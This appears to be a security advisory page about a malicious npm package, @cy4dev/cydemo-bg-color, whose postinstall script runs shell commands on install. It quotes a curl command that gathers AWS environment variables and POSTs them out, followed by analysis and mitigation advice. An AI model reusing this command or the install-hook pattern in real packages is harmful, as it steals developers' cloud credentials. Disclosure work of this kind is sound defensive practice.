Skip to main content

Malicious code in @cy4dev/cydemo-bg-color (npm)

0
High
Published: 08/05/2026 (08/05/2026, 13:09:23 UTC)
Source: GCVE Database
Product: @cy4dev/cydemo-bg-color

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0) @cy4dev/[email protected] ships a postinstall lifecycle script (src/postinstall.js) that runs at `npm install` time and invokes node:child_process.exec with two shell commands. The first, `curl -X POST -d \`env | grep AWS\` http://localhost:8000`, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, `open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.

Affected software

npmghsa
@cy4dev/cydemo-bg-color
Affected versions
=5.0.0=7.0.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 08/05/2026, 15:43:29 UTC

Technical Analysis

@cy4dev/cydemo-bg-color versions 5.0.0 and 7.0.0 contain a malicious postinstall lifecycle script that runs automatically during npm install. This script uses node:child_process.exec to run two shell commands: one that collects AWS environment variables and POSTs them to http://localhost:8000, and another that opens the Calculator app on macOS. The credential exfiltration is limited to localhost in this version, but the presence of arbitrary shell command execution during package installation represents a significant security risk. The package falsely advertises itself as a DOM background-color helper, with no legitimate reason for these actions.

Potential Impact

This vulnerability allows arbitrary code execution on the host system during package installation, potentially leading to credential exposure and unauthorized actions. Although the current exfiltration endpoint is localhost, the mechanism could be modified to send credentials externally. The execution of arbitrary shell commands can compromise the host environment, especially if AWS credentials are exposed, enabling further attacks or unauthorized cloud resource access.

Mitigation Recommendations

No official patch or fix is currently available for this malicious package. Users should avoid installing versions 5.0.0 and 7.0.0 of @cy4dev/cydemo-bg-color. It is recommended to remove these versions from any projects and replace them with trusted alternatives. Monitor for updates from the package maintainer or npm advisories for remediation guidance. Since the package is not a cloud service, remediation depends on user action.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-12504
Osv Schema Version
1.7.4
Ecosystems
["npm"]

Threat ID: 6a735730bf8831d53913cf08

Added to database: 08/05/2026, 15:30:56 UTC

Last enriched: 08/05/2026, 15:43:29 UTC

Last updated: 09/07/2026, 22:23:45 UTC

Views: 20

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses